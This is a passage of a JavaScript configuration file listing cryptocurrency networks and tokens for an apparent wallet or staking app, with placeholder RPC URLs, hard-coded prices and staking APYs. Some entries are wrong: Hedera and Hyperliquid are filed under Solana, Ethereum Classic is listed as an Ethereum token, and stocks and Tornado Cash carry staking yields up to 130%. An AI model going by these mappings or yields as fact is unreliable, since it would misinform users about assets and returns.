        stakeInfo: { id: 23, apy: 8.2, lockTimeAsDay: 4, minAmount: 0.1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false,
      },
    ],
  },
  {
    id: 22,
    name: 'PancakeSwap',
    symbol: 'CAKE',
    rpcServerUrl: 'https://cake.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 56,
    imageUrl: 'coins/pancakeswap.png',
    tokenInfoList: [
      {
        id: 27,
        address: '0x0e09fabb73bd3ade0a17ecc321fd13a19e81ce82',
        name: 'PancakeSwap',
        symbol: 'CAKE',
        decimals: 18,
        icon: 'coins/cake.png',
        addressLen: 42,
        addressFirst: '0x',
        price: 2,
        percentChange: '0.00',
        coinMarketCupId: 7186,
        networkId: 1,
        networkName: 'Binance Smart Chain',
        networkSymbol: 'BEP20',
        networkImage: 'coins/bnb_bsc.png',
        stakeInfo: { id: 24, apy: 7.6, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: false,
        showDefault: false,
      },
    ],
  },
  {
    id: 23,
    name: 'zkSync',
    symbol: 'ZK',
    rpcServerUrl: 'https://zk.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 324,
    imageUrl: 'coins/zksync.png',
    tokenInfoList: [
      {
        id: 28,
        address: '',
        name: 'zkSync',
        symbol: 'ZK',
        decimals: 18,
        icon: 'coins/zk.png',
        addressLen: 42,
        addressFirst: '0x',
        price: 0.05,
        percentChange: '0.00',
        coinMarketCupId: 24091,
        networkId: 24,
        networkName: 'zkSync',
        networkSymbol: 'ZK',
        networkImage: 'coins/zksync.png',
        stakeInfo: { id: 25, apy: 9.8, lockTimeAsDay: 4, minAmount: 10, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false,
      },
      {
        id: 65,
        address: '0x000000000000000000000000000000000000800A',
        name: 'Ethereum',
        symbol: 'ETHZK',
        decimals: 18,
        icon: 'coins/eth.png',
        addressLen: 42,
        addressFirst: '0x',
        price: 3000,
        percentChange: '0.00',
        coinMarketCupId: 1027,
        networkId: 24,
        networkName: 'zkSync',
        networkSymbol: 'ZK',
        networkImage: 'coins/zksync.png',
        stakeInfo: { id: 65, apy: 5.5, lockTimeAsDay: 4, minAmount: 0.01, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: false,
        showDefault: true,
      },
    ],
  },
  {
    id: 25,
    name: 'Litecoin',
    symbol: 'LTC',
    rpcServerUrl: 'https://ltc.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/litecoin.png',
    tokenInfoList: [
      {
        id: 30,
        address: '',
        name: 'Litecoin',
        symbol: 'LTC',
        decimals: 8,
        icon: 'coins/ltc.png',
        addressLen: 43,
        addressFirst: 'ltc1',
        price: 80,
        percentChange: '0.00',
        coinMarketCupId: 2,
        networkId: 25,
        networkName: 'Litecoin',
        networkSymbol: 'LTC',
        networkImage: 'coins/ltc.png',
        stakeInfo: { id: 27, apy: 13.2, lockTimeAsDay: 4, minAmount: 0.1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false,
      },
    ],
  },
  {
    id: 26,
    name: 'Chainlink',
    symbol: 'LINK',
    rpcServerUrl: 'https://link.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 1,
    imageUrl: 'coins/chainlink.png',
    tokenInfoList: [
      {
        id: 31,
        address: '0x514910771af9ca656af840dff83e8264ecf986ca',
        name: 'Chainlink',
        symbol: 'LINK',
        decimals: 18,
        icon: 'coins/link.png',
        addressLen: 42,
        addressFirst: '0x',
        price: 12,
        percentChange: '0.00',
        coinMarketCupId: 1975,
        networkId: 2,
        networkName: 'Ethereum',
        networkSymbol: 'ETH',
        networkImage: 'coins/ethereum.png',
        stakeInfo: { id: 28, apy: 11.4, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: false,
        showDefault: false,
      },
    ],
  },
  {
    id: 27,
    name: 'Aptos',
    symbol: 'APT',
    rpcServerUrl: 'https://apt.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/aptos.png',
    tokenInfoList: [
      {
        id: 32,
        address: '',
        name: 'Aptos',
        symbol: 'APT',
        decimals: 8,
        icon: 'coins/apt.png',
        addressLen: 66,
        addressFirst: '0x',
        price: 1.78,
        percentChange: '0.00',
        coinMarketCupId: 21794,
        networkId: 27,
        networkName: 'Aptos',
        networkSymbol: 'APT',
        networkImage: 'coins/apt.png',
        stakeInfo: { id: 29, apy: 10.3, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false,
      },
    ],
  },
  {
    id: 28,
    name: 'Avalanche',
    symbol: 'AVAX',
    rpcServerUrl: 'https://avax.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 43114,
    imageUrl: 'coins/avax.png',
    tokenInfoList: [
      {
        id: 33,
        address: '',
        name: 'Avalanche',
        symbol: 'AVAX',
        decimals: 18,
        icon: 'coins/avax.png',
        addressLen: 42,
        addressFirst: '0x',
        price: 25,
        percentChange: '0.00',
        coinMarketCupId: 5805,
        networkId: 28,
        networkName: 'Avalanche',
        networkSymbol: 'AVAX',
        networkImage: 'coins/avax.png',
        stakeInfo: { id: 30, apy: 9.1, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false,
      },
    ],
  },
  {
    id: 30,
    name: 'Filecoin',
    symbol: 'FIL',
    rpcServerUrl: 'https://fil.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/fil.png',
    tokenInfoList: [
      {
        id: 35,
        address: '',
        name: 'Filecoin',
        symbol: 'FIL',
        decimals: 18,
        icon: 'coins/fil.png',
        addressLen: 42,
        addressFirst: 'f',
        price: 3.5,
        percentChange: '0.00',
        coinMarketCupId: 2280,
        networkId: 30,
        networkName: 'Filecoin',
        networkSymbol: 'FIL',
        networkImage: 'coins/fil.png',
        stakeInfo: { id: 32, apy: 9.3, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false,
      },
    ],
  },
  {
    id: 31,
    name: 'Optimism',
    symbol: 'OP',
    rpcServerUrl: 'https://op.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 10,
    imageUrl: 'coins/op.png',
    tokenInfoList: [
      {
        id: 36,
        address: '',
        name: 'Optimism',
        symbol: 'OP',
        decimals: 18,
        icon: 'coins/op.png',
        addressLen: 42,
        addressFirst: '0x',
        price: 1.5,
        percentChange: '0.00',
        coinMarketCupId: 11840,
        networkId: 31,
        networkName: 'Ethereum',
        networkSymbol: 'ETH',
        networkImage: 'coins/ethereum.png',
        stakeInfo: { id: 33, apy: 4.7, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false,
      },
    ],
  },
  {
    id: 32,
    name: 'Decred',
    symbol: 'DCR',
    rpcServerUrl: 'https://dcr.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/dcr.png',
    tokenInfoList: [
      {
        id: 37,
        address: '',
        name: 'Decred',
        symbol: 'DCR',
        decimals: 8,
        icon: 'coins/dcr.png',
        addressLen: 35,
        addressFirst: 'D',
        price: 12,
        percentChange: '0.00',
        coinMarketCupId: 1168,
        networkId: 32,
        networkName: 'Decred',
        networkSymbol: 'DCR',
        networkImage: 'coins/dcr.png',
        stakeInfo: { id: 34, apy: 8.23, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false,
      },
    ],
  },
  {
    id: 33,
    name: 'Injective',
    symbol: 'INJ',
    rpcServerUrl: 'https://inj.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/inj.png',
    tokenInfoList: [
      {
        id: 38,
        address: '',
        name: 'Injective',
        symbol: 'INJ',
        decimals: 18,
        icon: 'coins/inj.png',
        addressLen: 42,
        addressFirst: 'inj',
        price: 18,
        percentChange: '0.00',
        coinMarketCupId: 7226,
        networkId: 33,
        networkName: 'Injective',
        networkSymbol: 'INJ',
        networkImage: 'coins/inj.png',
        stakeInfo: { id: 35, apy: 15.32, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false,
      },
    ],
  },
  {
    id: 34,
    name: 'Mantle',
    symbol: 'MNT',
    rpcServerUrl: 'https://mnt.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 5000,
    imageUrl: 'coins/mnt.png',
    tokenInfoList: [
      {
        id: 49,
        address: '',
        name: 'Mantle',
        symbol: 'MNT',
        decimals: 18,
        icon: 'coins/mnt.png',
        addressLen: 42,
        addressFirst: '0x',
        price: 0.8,
        percentChange: '0.00',
        coinMarketCupId: 27075,
        networkId: 34,
        networkName: 'Mantle',
        networkSymbol: 'MNT',
        networkImage: 'coins/mnt.png',
        stakeInfo: { id: 42, apy: 8.9, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false,
      },
    ],
  },
  {
    id: 35,
    name: 'Monero',
    symbol: 'XMR',
    rpcServerUrl: 'https://xmr.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/xmr.png',
    tokenInfoList: [
      {
        id: 50,
        address: '',
        name: 'Monero',
        symbol: 'XMR',
        decimals: 12,
        icon: 'coins/xmr.png',
        addressLen: 95,
        addressFirst: '4',
        price: 160,
        percentChange: '0.00',
        coinMarketCupId: 328,
        networkId: 35,
        networkName: 'Monero',
        networkSymbol: 'XMR',
        networkImage: 'coins/xmr.png',
        stakeInfo: { id: 43, apy: 6.4, lockTimeAsDay: 4, minAmount: 0.1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false,
      },
    ],
  },
  {
    id: 36,
    name: 'Kaspa',
    symbol: 'KAS',
    rpcServerUrl: 'https://kas.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/kas.png',
    tokenInfoList: [
      {
        id: 51,
        address: '',
        name: 'Kaspa',
        symbol: 'KAS',
        decimals: 8,
        icon: 'coins/kas.png',
        addressLen: 65,
        addressFirst: 'kaspa:',
        price: 0.18,
        percentChange: '0.00',
        coinMarketCupId: 20396,
        networkId: 36,
        networkName: 'Kaspa',
        networkSymbol: 'KAS',
        networkImage: 'coins/kas.png',
        stakeInfo: { id: 44, apy: 12.5, lockTimeAsDay: 4, minAmount: 10, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false,
      },
    ],
  },
  {
    id: 37,
    name: 'Canton',
    symbol: 'CC',
    rpcServerUrl: 'https://cc.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/cc.png',
    tokenInfoList: [
      {
        id: 53,
        address: '',
        name: 'Canton',
        symbol: 'CC',
        decimals: 18,
        icon: 'coins/cc.png',
        addressLen: 42,
        addressFirst: '0x',
        price: 0.65,
        percentChange: '0.00',
        coinMarketCupId: 0,
        networkId: 37,
        networkName: 'Canton',
        networkSymbol: 'CC',
        networkImage: 'coins/cc.png',
        stakeInfo: { id: 48, apy: 10.37, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false,
      },
    ],
  },
  {
    id: 38,
    name: 'Plasma',
    symbol: 'XPL',
    rpcServerUrl: 'https://xpl.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/xpl.png',
    tokenInfoList: [
      {
        id: 54,
        address: '',
        name: 'Plasma',
        symbol: 'XPL',
        decimals: 18,
        icon: 'coins/xpl.png',
        addressLen: 42,
        addressFirst: '0x',
        price: 0.12,
        percentChange: '0.00',
        coinMarketCupId: 0,
        networkId: 38,
        networkName: 'Plasma',
        networkSymbol: 'XPL',
        networkImage: 'coins/xpl.png',
        stakeInfo: { id: 49, apy: 7.22, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false,
      },
    ],
  },
  {
    id: 39,
    name: 'Solayer',
    symbol: 'LAYER',
    rpcServerUrl: 'https://layer.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/layer.png',
    tokenInfoList: [
      {
        id: 55,
        address: '',
        name: 'Solayer',
        symbol: 'LAYER',
        decimals: 18,
        icon: 'coins/layer.png',
        addressLen: 42,
        addressFirst: '0x',
        price: 0.95,
        percentChange: '0.00',
        coinMarketCupId: 0,
        networkId: 39,
        networkName: 'Solayer',
        networkSymbol: 'LAYER',
        networkImage: 'coins/layer.png',
        stakeInfo: { id: 50, apy: 18.64, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false,
      },
    ],
  },
  {
    id: 40,
    name: 'Berachain',
    symbol: 'BERA',
    rpcServerUrl: 'https://bera.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/bera.png',
    tokenInfoList: [
      {
        id: 56,
        address: '',
        name: 'Berachain',
        symbol: 'BERA',
        decimals: 18,
        icon: 'coins/bera.png',
        addressLen: 42,
        addressFirst: '0x',
        price: 1.25,
        percentChange: '0.00',
        coinMarketCupId: 0,
        networkId: 40,
        networkName: 'Berachain',
        networkSymbol: 'BERA',
        networkImage: 'coins/bera.png',
        stakeInfo: { id: 51, apy: 29.89, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false,
      },
    ],
  },
  {
    id: 41,
    name: 'Internet Computer',
    symbol: 'ICP',
    rpcServerUrl: 'https://icp.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/icp.png',
    tokenInfoList: [
      {
        id: 57,
        address: '',
        name: 'Internet Computer',
        symbol: 'ICP',
        decimals: 8,
        icon: 'coins/icp.png',
        addressLen: 29,
        addressFirst: 'icp',
        price: 9.5,
        percentChange: '0.00',
        coinMarketCupId: 8916,
        networkId: 41,
        networkName: 'Internet Computer',
        networkSymbol: 'ICP',
        networkImage: 'coins/icp.png',
        stakeInfo: { id: 52, apy: 9.54, lockTimeAsDay: 4, minAmount: 0.5, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false,
      },
    ],
  },
  {
    id: 42,
    name: 'Chia',
    symbol: 'XCH',
    rpcServerUrl: 'https://xch.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/chia.png',
    tokenInfoList: [
      {
        id: 63,
        address: '',
        name: 'Chia',
        symbol: 'XCH',
        decimals: 12,
        icon: 'coins/chia.png',
        addressLen: 62,
        addressFirst: 'xch',
        price: 18,
        percentChange: '0.00',
        coinMarketCupId: 9258,
        networkId: 42,
        networkName: 'Chia',
        networkSymbol: 'XCH',
        networkImage: 'coins/chia.png',
        stakeInfo: { id: 63, apy: 13.21, lockTimeAsDay: 4, minAmount: 0.1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false,
      },
    ],
  },
  {
    id: 43,
    name: 'Vameon',
    symbol: 'VON',
    rpcServerUrl: 'https://von.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/von.jpg',
    tokenInfoList: [
      {
        id: 64,
        address: '',
        name: 'Vameon',
        symbol: 'VON',
        decimals: 18,
        icon: 'coins/von.jpg',
        addressLen: 42,
        addressFirst: '0x',
        price: 0.00004,
        percentChange: '0.00',
        coinMarketCupId: 0,
        networkId: 43,
        networkName: 'Vameon',
        networkSymbol: 'VON',
        networkImage: 'coins/von.jpg',
        stakeInfo: { id: 64, apy: 12.5, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false,
      },
    ],
  },
];

// Добавление токенов ERC-20 в сеть Ethereum
networks[1].tokenInfoList.push(
  {
    id: 39,
    address: '',
    name: 'Aave',
    symbol: 'AAVE',
    decimals: 18,
    icon: 'coins/aave.png',
    addressLen: 42,
    addressFirst: '0x',
    price: 150,
    percentChange: '0.00',
    coinMarketCupId: 7278,
    networkId: 2,
    networkName: 'Ethereum',
    networkSymbol: 'ETH',
    networkImage: 'coins/ethereum.png',
    stakeInfo: { id: 36, apy: 4.7, lockTimeAsDay: 4, minAmount: 0.1, tokenInfoModel: null },
    active: true,
    memo: false,
    mainToken: false,
    showDefault: false,
  },
  {
    id: 40,
    address: '',
    name: 'PAX Gold',
    symbol: 'PAXG',
    decimals: 18,
    icon: 'coins/paxg.png',
    addressLen: 42,
    addressFirst: '0x',
    price: 2600,
    percentChange: '0.00',
    coinMarketCupId: 4705,
    networkId: 2,
    networkName: 'Ethereum',
    networkSymbol: 'ETH',
    networkImage: 'coins/ethereum.png',
    stakeInfo: { id: 37, apy: 7.93, lockTimeAsDay: 4, minAmount: 0.01, tokenInfoModel: null },
    active: true,
    memo: false,
    mainToken: false,
    showDefault: false,
  },
  {
    id: 41,
    address: '0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48',
    name: 'USD Coin',
    symbol: 'USDC',
    decimals: 6,
    icon: 'coins/usdc.png',
    addressLen: 42,
    addressFirst: '0x',
    price: 1,
    percentChange: '0.00',
    coinMarketCupId: 3408,
    networkId: 2,
    networkName: 'Ethereum',
    networkSymbol: 'ETH',
    networkImage: 'coins/ethereum.png',
    stakeInfo: { id: 38, apy: 8.26, lockTimeAsDay: 4, minAmount: 10, tokenInfoModel: null },
    active: true,
    memo: false,
    mainToken: false,
    showDefault: false,
  },
  {
    id: 42,
    address: '',
    name: 'Tether Gold',
    symbol: 'XAUt',
    decimals: 6,
    icon: 'coins/xaut.png',
    addressLen: 42,
    addressFirst: '0x',
    price: 2600,
    percentChange: '0.00',
    coinMarketCupId: 5176,
    networkId: 2,
    networkName: 'Ethereum',
    networkSymbol: 'ETH',
    networkImage: 'coins/ethereum.png',
    stakeInfo: { id: 39, apy: 6.81, lockTimeAsDay: 4, minAmount: 0.01, tokenInfoModel: null },
    active: true,
    memo: false,
    mainToken: false,
    showDefault: false,
  },
  {
    id: 44,
    address: '',
    name: 'The Sandbox',
    symbol: 'SAND',
    decimals: 18,
    icon: 'coins/sand.png',
    addressLen: 42,
    addressFirst: '0x',
    price: 0.3,
    percentChange: '0.00',
    coinMarketCupId: 6210,
    networkId: 2,
    networkName: 'Ethereum',
    networkSymbol: 'ETH',
    networkImage: 'coins/ethereum.png',
    stakeInfo: { id: 41, apy: 3.8, lockTimeAsDay: 4, minAmount: 10, tokenInfoModel: null },
    active: true,
    memo: false,
    mainToken: false,
    showDefault: false,
  },
  {
    id: 45,
    address: '0xa71edc38d189767582c38a3145b5873052c3e47a',
    name: 'Aster',
    symbol: 'ASTER',
    decimals: 18,
    icon: 'coins/aster.png',
    addressLen: 42,
    addressFirst: '0x',
    price: 0.05,
    percentChange: '0.00',
    coinMarketCupId: 12885,
    networkId: 2,
    networkName: 'Ethereum',
    networkSymbol: 'ETH',
    networkImage: 'coins/ethereum.png',
    stakeInfo: { id: 31, apy: 14.26, lockTimeAsDay: 4, minAmount: 10, tokenInfoModel: null },
    active: true,
    memo: false,
    mainToken: false,
    showDefault: false,
  },
  {
    id: 52,
    address: '',
    name: 'Lido DAO',
    symbol: 'LDO',
    decimals: 18,
    icon: 'coins/ldo.png',
    addressLen: 42,
    addressFirst: '0x',
    price: 2.0,
    percentChange: '0.00',
    coinMarketCupId: 8000,
    networkId: 2,
    networkName: 'Ethereum',
    networkSymbol: 'ETH',
    networkImage: 'coins/ethereum.png',
    stakeInfo: { id: 45, apy: 7.62, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
    active: true,
    memo: false,
    mainToken: false,
    showDefault: false,
  },
  {
    id: 58,
    address: '0xc18360217d8f7ab5e7c516566761ea12ce7f9d72',
    name: 'Ethereum Name Service',
    symbol: 'ENS',
    decimals: 18,
    icon: 'coins/ens.png',
    addressLen: 42,
    addressFirst: '0x',
    price: 25,
    percentChange: '0.00',
    coinMarketCupId: 13855,
    networkId: 2,
    networkName: 'Ethereum',
    networkSymbol: 'ETH',
    networkImage: 'coins/ethereum.png',
    stakeInfo: { id: 46, apy: 8.14, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
    active: true,
    memo: false,
    mainToken: false,
    showDefault: false,
  },
  {
    id: 59,
    address: '',
    name: 'WLFI',
    symbol: 'WLFI',
    decimals: 18,
    icon: 'coins/wlfi.png',
    addressLen: 42,
    addressFirst: '0x',
    price: 1.3,
    percentChange: '0.00',
    coinMarketCupId: 0,
    networkId: 2,
    networkName: 'Ethereum',
    networkSymbol: 'ETH',
    networkImage: 'coins/ethereum.png',
    stakeInfo: { id: 47, apy: 11.71, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
    active: true,
    memo: false,
    mainToken: false,
    showDefault: false,
  },
  {
    id: 61,
    address: '',
    name: 'Zero',
    symbol: 'ZERO',
    decimals: 18,
    icon: 'coins/zero.png',
    addressLen: 42,
    addressFirst: '0x',
    price: 1,
    percentChange: '0.00',
    coinMarketCupId: 0,
    networkId: 2,
    networkName: 'Ethereum',
    networkSymbol: 'ETH',
    networkImage: 'coins/ethereum.png',
    stakeInfo: { id: 61, apy: 16.42, lockTimeAsDay: 4, minAmount: 0.01, tokenInfoModel: null },
    active: true,
    memo: false,
    mainToken: false,
    showDefault: false,
  },
  {
    id: 62,
    address: '',
    name: 'Ethereum Classic',
    symbol: 'ETC',
    decimals: 18,
    icon: 'coins/etc.png',
    addressLen: 42,
    addressFirst: '0x',
    price: 20,
    percentChange: '0.00',
    coinMarketCupId: 1321,
    networkId: 2,
    networkName: 'Ethereum',
    networkSymbol: 'ETH',
    networkImage: 'coins/ethereum.png',
    stakeInfo: { id: 62, apy: 7.68, lockTimeAsDay: 4, minAmount: 0.01, tokenInfoModel: null },
    active: true,
    memo: false,
    mainToken: false,
    showDefault: false,
  },
  {
    id: 78,
    address: '0x77777feddddffc19ff86db637967013e6c6a116c',
    name: 'Tornado Cash',
    symbol: 'TORN',
    decimals: 18,
    icon: 'coins/torn.png',
    addressLen: 42,
    addressFirst: '0x',
    price: 5.2,
    percentChange: '0.00',
    coinMarketCupId: 6841,
    networkId: 2,
    networkName: 'Ethereum',
    networkSymbol: 'ETH',
    networkImage: 'coins/ethereum.png',
    stakeInfo: { id: 78, apy: 130.23, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
    active: true,
    memo: false,
    mainToken: false,
    showDefault: false,
  },
  {
    id: 79,
    address: '',
    name: 'Netflix',
    symbol: 'NFLXON',
    decimals: 18,
    icon: 'coins/nflxon.png',
    addressLen: 42,
    addressFirst: '0x',
    price: 550,
    percentChange: '0.00',
    coinMarketCupId: 0,
    networkId: 2,
    networkName: 'Ethereum',
    networkSymbol: 'ETH',
    networkImage: 'coins/ethereum.png',
    stakeInfo: { id: 79, apy: 6.41, lockTimeAsDay: 4, minAmount: 0.1, tokenInfoModel: null },
    active: true,
    memo: false,
    mainToken: false,
    showDefault: false,
  },
  {
    id: 80,
    address: '',
    name: 'NVIDIA',
    symbol: 'NVDAON',
    decimals: 18,
    icon: 'coins/nvdaon.png',
    addressLen: 42,
    addressFirst: '0x',
    price: 130,
    percentChange: '0.00',
    coinMarketCupId: 0,
    networkId: 2,
    networkName: 'Ethereum',
    networkSymbol: 'ETH',
    networkImage: 'coins/ethereum.png',
    stakeInfo: { id: 80, apy: 5.82, lockTimeAsDay: 4, minAmount: 0.1, tokenInfoModel: null },
    active: true,
    memo: false,
    mainToken: false,
    showDefault: false,
  },
  {
    id: 81,
    address: '',
    name: 'Apple',
    symbol: 'AAPL',
    decimals: 18,
    icon: 'coins/aapl.jpg',
    addressLen: 42,
    addressFirst: '0x',
    price: 220,
    percentChange: '0.00',
    coinMarketCupId: 0,
    networkId: 2,
    networkName: 'Ethereum',
    networkSymbol: 'ETH',
    networkImage: 'coins/ethereum.png',
    stakeInfo: { id: 81, apy: 3.33, lockTimeAsDay: 4, minAmount: 0.1, tokenInfoModel: null },
    active: true,
    memo: false,
    mainToken: false,
    showDefault: false,
  },
  {
    id: 82,
    address: '',
    name: 'Tesla',
    symbol: 'TSLA',
    decimals: 18,
    icon: 'coins/tsla.png',
    addressLen: 42,
    addressFirst: '0x',
    price: 250,
    percentChange: '0.00',
    coinMarketCupId: 0,
    networkId: 2,
    networkName: 'Ethereum',
    networkSymbol: 'ETH',
    networkImage: 'coins/ethereum.png',
    stakeInfo: { id: 82, apy: 6.22, lockTimeAsDay: 4, minAmount: 0.1, tokenInfoModel: null },
    active: true,
    memo: false,
    mainToken: false,
    showDefault: false,
  },
  {
    id: 83,
    address: '',
    name: 'Microsoft',
    symbol: 'MSFT',
    decimals: 18,
    icon: 'coins/msft.png',
    addressLen: 42,
    addressFirst: '0x',
    price: 420,
    percentChange: '0.00',
    coinMarketCupId: 0,
    networkId: 2,
    networkName: 'Ethereum',
    networkSymbol: 'ETH',
    networkImage: 'coins/ethereum.png',
    stakeInfo: { id: 83, apy: 8.8, lockTimeAsDay: 4, minAmount: 0.1, tokenInfoModel: null },
    active: true,
    memo: false,
    mainToken: false,
    showDefault: false,
  },
  {
    id: 84,
    address: '',
    name: 'Amazon',
    symbol: 'AMZN',
    decimals: 18,
    icon: 'coins/amzn.png',
    addressLen: 42,
    addressFirst: '0x',
    price: 180,
    percentChange: '0.00',
    coinMarketCupId: 0,
    networkId: 2,
    networkName: 'Ethereum',
    networkSymbol: 'ETH',
    networkImage: 'coins/ethereum.png',
    stakeInfo: { id: 84, apy: 5.73, lockTimeAsDay: 4, minAmount: 0.1, tokenInfoModel: null },
    active: true,
    memo: false,
    mainToken: false,
    showDefault: false,
  },
  {
    id: 85,
    address: '',
    name: 'Enso',
    symbol: 'ENSO',
    decimals: 18,
    icon: 'coins/enso.jpg',
    addressLen: 42,
    addressFirst: '0x',
    price: 0,
    percentChange: '0.00',
    coinMarketCupId: 0,
    networkId: 2,
    networkName: 'Ethereum',
    networkSymbol: 'ETH',
    networkImage: 'coins/ethereum.png',
    stakeInfo: { id: 85, apy: 23.11, lockTimeAsDay: 4, minAmount: 0.1, tokenInfoModel: null },
    active: true,
    memo: false,
    mainToken: false,
    showDefault: true,
  },
  {
    id: 86,
    address: '',
    name: 'Kinesis Silver',
    symbol: 'KAG',
    decimals: 18,
    icon: 'coins/kag.png',
    addressLen: 42,
    addressFirst: '0x',
    price: 0,
    percentChange: '0.00',
    coinMarketCupId: 0,
    networkId: 2,
    networkName: 'Ethereum',
    networkSymbol: 'ETH',
    networkImage: 'coins/ethereum.png',
    stakeInfo: { id: 86, apy: 15.3, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
    active: true,
    memo: false,
    mainToken: false,
    showDefault: true,
  }
);

// Добавление токена TRUMP в сеть Solana
networks[4].tokenInfoList.push({
  id: 43,
  address: '',
  name: 'TRUMP',
  symbol: 'TRUMP',
  decimals: 9,
  icon: 'coins/trump.png',
  addressLen: 44,
  addressFirst: '',
  price: 10,
  percentChange: '0.00',
  coinMarketCupId: 0,
  networkId: 6,
  networkName: 'Solana',
  networkSymbol: 'SOL',
  networkImage: 'coins/solana.png',
  stakeInfo: { id: 40, apy: 26.1, lockTimeAsDay: 4, minAmount: 0.1, tokenInfoModel: null },
  active: true,
  memo: false,
  mainToken: false,
  showDefault: false,
});

networks[4].tokenInfoList.push({
  id: 46,
  address: '',
  name: 'Hedera',
  symbol: 'HBAR',
  decimals: 8,
  icon: 'coins/hbar.jpg',
  addressLen: 44,
  addressFirst: '',
  price: 0.05,
  percentChange: '0.00',
  coinMarketCupId: 4642,
  networkId: 6,
  networkName: 'Solana',
  networkSymbol: 'SOL',
  networkImage: 'coins/solana.png',
  stakeInfo: { id: 26, apy: 8.3, lockTimeAsDay: 4, minAmount: 100, tokenInfoModel: null },
  active: true,
  memo: false,
  mainToken: false,
  showDefault: false,
});

networks[4].tokenInfoList.push({
  id: 47,
  address: '',
  name: 'Hyperliquid',
  symbol: 'HYPE',
  decimals: 18,
  icon: 'coins/hype.png',
  addressLen: 44,
  addressFirst: '',
  price: 20,
  percentChange: '0.00',
  coinMarketCupId: 34345,
  networkId: 6,
  networkName: 'Solana',
  networkSymbol: 'SOL',
  networkImage: 'coins/solana.png',
  stakeInfo: { id: 18, apy: 7.4, lockTimeAsDay: 4, minAmount: 0.5, tokenInfoModel: null },
  active: true,
  memo: false,
  mainToken: false,
  showDefault: false,
});

networks[4].tokenInfoList.push({
  id: 60,
  address: 'JUPmMvq1Md12gmJNezoEFb1Zb312SwDco2BgCuiGcfb',
  name: 'Jupiter',
  symbol: 'JUP',
  decimals: 6,
  icon: 'coins/jup.png',
  addressLen: 44,
  addressFirst: '',
  price: 1.1,
  percentChange: '0.00',
  coinMarketCupId: 29210,
  networkId: 6,
  networkName: 'Solana',
  networkSymbol: 'SOL',
  networkImage: 'coins/solana.png',
  stakeInfo: { id: 53, apy: 9.12, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
  active: true,
  memo: false,
  mainToken: false,
  showDefault: false,
});

// Ethena (ENA) - Ethereum ERC-20
networks[2].tokenInfoList.push({
  id: 66,
